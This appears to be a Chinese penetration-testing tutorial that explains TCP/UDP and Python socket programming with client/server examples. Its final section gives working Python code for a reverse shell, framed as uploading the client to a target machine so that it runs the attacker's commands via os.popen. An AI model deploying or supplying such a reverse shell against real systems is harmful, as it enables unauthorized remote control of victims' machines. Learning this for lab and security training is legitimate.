网络通信开发基础

本文主要是介绍网络通信开发基础，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

任务目标：
建立 socket 连接通道，可以相互之间传输数据

使用语言：
python

任务描述：
在实际的渗透中，协议是建立据点网络通道的基础，可以通过网络通道对内部的服务器进行控制

本关主要锻炼大家对于协议的理解和对网络通道建立的使用方法，有了这个基础可以实现一些比如远控木马、端口扫描、服务爆破方面的工具。

报告要求
1、理解TCP、UDP协议的原理及特点
2、分别使用 TCP、UDP 协议实现数据通讯

扩展任务
客户端发送命令，服务端接收命令并执行

0x00 TCP/IP协议原理及特点

• 简介

  计算机为了联网，就必须规定通信协议，早期的计算机网络，都是由各厂商自己规定一套协议，IBM、Apple和Microsoft都有各自的网络协议，互不兼容，这就好比一群人有的说英语，有的说中文，有的说德语，说同一种语言的人可以交流，不同的语言之间就不行了。
  
  为了把全世界的所有不同类型的计算机都连接起来，就必须规定一套全球通用的协议，为了实现互联网这个目标，互联网协议簇（Internet Protocol Suite）就是通用协议标准。Internet是由inter和net两个单词组合起来的，原意就是连接“网络”的网络，有了Internet，任何私有网络，只要支持这个协议，就可以联入互联网。
  
  因为互联网协议包含了上百种协议标准，但是最重要的两个协议是TCP和IP协议，所以，大家把互联网的协议简称TCP/IP协议。
  
  通信的时候，双方必须知道对方的标识，好比发邮件必须知道对方的邮件地址。互联网上每个计算机的唯一标识就是IP地址，类似123.123.123.123。如果一台计算机同时接入到两个或更多的网络，比如路由器，它就会有两个或多个IP地址，所以，IP地址对应的实际上是计算机的网络接口，通常是网卡。
  
  IP协议负责把数据从一台计算机通过网络发送到另一台计算机。数据被分割成一小块一小块，然后通过IP包发送出去。由于互联网链路复杂，两台计算机之间经常有多条线路，因此，路由器就负责决定如何把一个IP包转发出去。IP包的特点是按块发送，途径多个路由，但不保证能到达，也不保证顺序到达。
  
  TCP协议则是建立在IP协议之上的。TCP协议负责在两台计算机之间建立可靠连接，保证数据包按顺序到达。TCP协议会通过握手建立连接，然后，对每个IP包编号，确保对方按顺序收到，如果包丢掉了，就自动重发。许多常用的更高级的协议都是建立在TCP协议基础上的，比如用于浏览器的HTTP协议、发送邮件的SMTP协议等。
  
  一个TCP报文除了包含要传输的数据外，还包含源IP地址和目标IP地址，源端口和目标端口。
  
  端口有什么作用？在两台计算机通信时，只发IP地址是不够的，因为同一台计算机上跑着多个网络程序。一个TCP报文来了之后，到底是交给浏览器还是QQ，就需要端口号来区分。每个网络程序都向操作系统申请唯一的端口号，这样，两个进程在两台计算机之间建立网络连接就需要各自的IP地址和各自的端口号。
  

• 引入

  1. TCP/IP协议族的传输层协议主要包括TCP和UDP
  2. TCP是面向连接的可靠的传输层协议。它支持在并不可靠的网络上实现面向连接的可靠的数据传输
  3. UDP是无连接的传输协议，主要用于支持在较可靠的链路上的数据传输，或用于对延迟较敏感的应用
  

• TCP的基本原理

  三次握手->建立可靠连接
  确认机制->应答接收
  端口号->多路复用
  序列号->丢失检测、乱序重排
  完整性校验->差错检测
  窗口机制->流量控制
  

• TCP三次握手

三次握手过程说明

1. 由客户端发送建立TCP连接的请求报文，其中报文中包含seq序列号，是由发送端随机生成的，并且将报文中的SYN字段置为1，表示需要建立TCP连接。（SYN=1，seq=x，x为随机生成数值）

2. 由服务端回复客户端发送的TCP连接请求报文，其中包含seq序列号，是由回复端随机生成的，并且将SYN置为1，而且会产生ACK字段，ACK字段数值是在客户端发送过来的序列号seq的基础上加1进行回复，以便客户端收到信息时，知晓自己的TCP建立请求已得到验证。（SYN=1，ACK=x+1，seq=y，y为随机生成数值）这里的ack加1可以理解为是确认和谁建立连接。

3. 客户端收到服务端发送的TCP建立验证请求后，会使自己的序列号加1表示，并且再次回复ACK验证请求，在服务端发过来的seq上加1进行回复。（SYN=1，ACK=y+1，seq=x+1）

• TCP四次挥手

四次挥手过程说明：

1. 客户端发送断开TCP连接请求的报文，其中报文中包含seq序列号，是由发送端随机生成的，并且还将报文中的FIN字段置为1，表示需要断开TCP连接。（FIN=1，seq=x，x由客户端随机生成）

2. 服务端会回复客户端发送的TCP断开请求报文，其包含seq序列号，是由回复端随机生成的，而且会产生ACK字段，ACK字段数值是在客户端发过来的seq序列号基础上加1进行回复，以便客户端收到信息时，知晓自己的TCP断开请求已经得到验证。（FIN=1，ACK=x+1，seq=y，y由服务端随机生成）

3. 服务端在回复完客户端的TCP断开请求后，不会马上进行TCP连接的断开，服务端会先确保断开前，所有传输到A的数据是否已经传输完毕，一旦确认传输数据完毕，就会将回复报文的FIN字段置1，并且产生随机seq序列号。（FIN=1，ACK=x+1，seq=z，z由服务端随机生成）

4. 客户端收到服务端的TCP断开请求后，会回复服务端的断开请求，包含随机生成的seq字段和ACK字段，ACK字段会在服务端的TCP断开请求的seq基础上加1，从而完成服务端请求的验证回复（FIN=1，ACK=z+1，seq=h，h为客户端随机生成）

• UDP的基本原理

  　"面向非连接"就是在正式通信前不必与对方先建立连接，不管对方状态就直接发送。与手机短信非常相似：你在发短信的时候，只需要输入对方号码就OK了。
  

• TCP与UDP的区别

  	TCP	UDP
  是否连接	面向连接	面向非连接
  传输可靠性	可靠的	不可靠的
  应用场合	传输大量的数据	少量数据
  速度	慢	快

0x01 TCP编程

• 基本语法

  Socket又称"套接字"是网络编程的一个抽象概念。通常我们用一个Socket表示“打开了一个网络链接”，而打开一个Socket需要知道目标计算机的IP地址和端口号，再指定协议类型即可。
  

  python中，用socket()函数来创建套接字：

  socket.socket([family[, type[, proto]]])
  

参数：

• family: 套接字家族可以是 AF_UNIX 或者 AF_INET
• type: 套接字类型可以根据是面向连接的还是非连接分为SOCK_STREAM或SOCK_DGRAM
• protocol: 一般不填默认为0.

AF_INET指定使用IPv4协议，SOCK_STREAM指定使用面向流的TCP协议，SOCK_DGRAM指定使用UDP协议
Socket 对象(内建)方法：

• 实例1(写一个客户端访问新浪)

  当我们在浏览器中访问新浪时，我们自己的计算机就是客户端，浏览器会主动向新浪的服务器发起连接。如果一切顺利，新浪的服务器接受了我们的连接，一个TCP连接就建立起来的，后面的通信就是发送网页内容了。下面就来实现

  # 导入socket库
  import socket
  
  #创建一个socket套接字
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  
  #建立连接
  s.connect(('www.sina.com',80))   #里面的参数必须是个tuple,包含地址和端口号
  
  # 发送数据
  s.send(b'GET / HTTP/1.1\r\nHost:www.sina.com\r\nConnection: close\r\n\r\n')
  
  # 接收数据
  buffer=[]
  while True:
      d=s.recv(1024)
      if d:
          buffer.append(d)
      else:
          break
  
  data=b''.join(buffer)
  
  # 关闭连接
  s.close()
  
  # 接收到的数据包括HTTP头和网页本身，我们只需要把HTTP头和网页分离一下，把HTTP头打印出来，网页内容保存到文件：
  header , html = data.split(b'\r\n\r\n',1)
  print(header.decode('utf-8'))
  with open('sina','wb') as f:
      f.write(html)

运行上面的客户端脚本，会打印出响应包的header，同时也会将响应包的body写入到sina.html

• 实例2(编写一个简单的服务端程序，它接收客户端连接，把客户端发过来的字符串加上Hello再发回去。)

  服务器进程首先要绑定一个端口并监听来自其他客户端的连接。如果某个客户端连接过来了，服务器就与该客户端建立Socket连接，随后的通信就靠这个Socket连接了。所以，服务器会打开固定端口（比如80）监听，每来一个客户端连接，就创建该Socket连接。由于服务器会有大量来自客户端的连接，所以，服务器要能够区分一个Socket连接是和哪个客户端绑定的。一个Socket依赖4项：服务器地址、服务器端口、客户端地址、客户端端口来唯一确定一个Socket。
  服务端

  import socket
  import threading
  import time
  
  # 创建一个基于IPV4和TCP协议的Socket
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  
  # 绑定监听的端口
  s.bind(('127.0.0.1',9999))
  
  # 开始监听
  #设置最大连接数，监听端口
  s.listen(5) 
  print(f'Waiting for connection...')
  
  def tcplink(sock,addr):
      print(f'Accept new connection from %s:%s' % addr)
  #连接建立后，服务器首先发一条欢迎消息，然后等待客户端数据，并加上Hello再发送给客户端。如果客户端发送了exit字符串，就直接关闭连接。
      sock.send(b'welcome!')
      while True:
          data=sock.recv(1024)
          time.sleep(1)
          if not data or data.decode('utf-8') =='exit':
              break
          sock.send(('Hello,%s!' % data.decode('utf-8')).encode('utf-8'))
      sock.close()
      print('Connection from %s:%s closed.' % addr)        
  #服务器程序通过一个永久循环来接受来自客户端的连接，accept()会等待并返回一个客户端的连接:
  while True:
      # 接受一个新连接
      sock , addr = s.accept()
  #每个连接都必须创建新线程（或进程）来处理，否则，单线程在处理连接的过程中，无法接受其他客户端的连接：
      # 创建新进程来处理TCP连接
      t= threading.Thread(target=tcplink,args=(sock,addr))
      t.start()
  

  要测试这个服务器程序，我们还需要编写一个客户端程序：

  import socket
  # 创建一个socket套接字
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  # 建立连接
  s.connect(('127.0.0.1',9999))
  # 建立连接后，因为服务器会先发送欢迎 所以客户端先接受数据
  print(s.recv(1024).decode('utf-8'))
  for data in [b'laoliu',b'laoyang',b'world']:
      s.send(data)
      print(s.recv(1024).decode('utf-8'))
  
  s.send(b'exit')
  s.close()

接下来首先启动服务端脚本，服务器开始监听

然后再启动客户端脚本，客户端会主动连接服务端监听的端口，同时服务端收到连接后会向客户端发送welcome,之后客户端会执行for循环，将列表内的内容发送给服务端，服务端收到后，将这些内容前面加上hello，再重新发回给客户端

• 上面需要注意的点

  • 在服务器端，socket()返回的套接字用于监听（listen）和接受（accept），这个套接字不能用于与客户端之间发送和接收数据。
  • accept()接受一个客户端的连接请求，并返回一个新的套接字，不同于以上socket()返回的用于监听和接受客户端的连接请求的套接字；与此客户端通信是通过这个新的套接字上发送和接收数据来完成的。
  • 假设一共有3个客户端连接到服务器端，那么在服务器端就一共有4个套接字，第1个是socket()返回的，用于监听的套接字；其余3个是分别调用3次accept()返回的不同的套接字。
  • 用TCP协议进行Socket编程在Python中十分简单，对于客户端，要主动连接服务器的IP和指定端口，对于服务器，要首先监听指定端口，然后，对每一个新的连接，创建一个线程或进程来处理。通常，服务器程序会无限运行下去。

0x02 UDP编程

• 引入

  和上面TCP不同的是，使用UDP协议时，不需要建立连接，只需要知道对方的IP地址和端口号，就可以直接发数据包。但是，能不能到达就不知道了。
  

  基本语法上面上面TCP也已经涵盖了UDP的，所以这里就直接写实例

• 实例（编写一个简单的服务端程序，它接收客户端连接，把客户端发过来的字符串加上Hello再发回去。）

  服务端

  import socket
  
  s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#SOCK_DGRA表示指定类型为udp协议
  #绑定端口和TCP一样，但是不需要调用listen()方法，而是直接接收来自任何客户端的数据：
  # 绑定端口
  s.bind(("127.0.0.1",9999))
  
  print("BIND UDP on 9999")
  
  while True:
      #接收数据
      try:
      #recvfrom()方法返回数据和客户端的地址与端口，这样，服务器收到数据后，直接调用sendto()就可以把数据用UDP发给客户端。
          data,addr  = s.recvfrom(1024)
          print("获取来自%s:%s" % addr)
          s.sendto(b"hello %s!" % data,addr)
      except Exception as e:
          pass
  

  客户端

  #客户端使用UDP时，首先仍然创建基于UDP的Socket，然后，不需要调用connect()，直接通过sendto()给服务器发数据：
  import socket
  s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  
  for data in [b'laoliu',b'laoyang',b'Hello']:
      s.sendto(data,('127.0.0.1',9999))
  #从服务器接收数据仍然调用recv()方法
      print(s.recv(1024).decode('utf-8'))
  s.close()
  

启动服务端开始绑定端口，然后启动客户端直接向服务端发送数据

0x03 实例编写一个反弹shell

客户端发送命令，服务端接收命令并执行反弹shell的情况，大概实战环境下就是目标机器是一台win7机器，我自己的攻击机是win10，我本地在win10开启服务端进行监听，将客户端脚本传到目标机器上运行，然后等待目标机器弹shell回来

• 服务端

  #服务器端
  import socket
  import os
  import time
  s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  
  s.bind(('127.0.0.1',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
  s.listen(5)                 #调用listen方法开始监听端口，传入的参数为等待连接的最大数量
  print(f'Waiting for connection...')
  con,addr=s.accept()#接受一个客户端的连接
  print('Connection from %s:%s' % addr)
  
  while True:
      # 服务端先接受数据，因为客户端连接过来的话首先会将其本地的绝对路径发过来，也就是客户端先在目标机器上执行pwd dir命令，将结果传回给服务端
      dir=con.recv(2048).decode()
      # 服务端收到结果后 输入要执行的命令并发送
      cmd=input('$'+dir+':').strip()
      
      con.send(cmd.encode())
      if cmd=='exit':
          break
      result=con.recv(2048)
      print(result.decode())
      time.sleep(1)
  
  s.close()
  print(f'退出')
  

• 客户端

  import socket,os,time
  s=socket.socket()
  s.connect(('127.0.0.1',1234))
  
  while True:
      # 客户端首先获取当前目录的绝对路径,并发送给服务端
      dir=os.getcwd()
      s.send(dir.encode())
      # 接收服务端传过来的cmd命令
      cmd=s.recv(1024).decode()
      if cmd =='exit':
          break
      elif cmd.startswith('cd'):
          os.chdir(cmd.split()[1])
          result='切换目录成功!'
      else:
          result=os.popen(cmd).read()  #执行命令并将结果输出出来，用os.system不会回显执行命令的结果
      if not result:
          result='命令执行完毕成功!'
      s.send(result.encode())
      time.sleep(1)
  s.close()
  print(f'退出')
  

  运行服务端脚本等待shell弹回来
  
  上传客户端脚本并执行：
  
  试下执行命令：
  

如上就完成了一个简单的python实现的反弹shell

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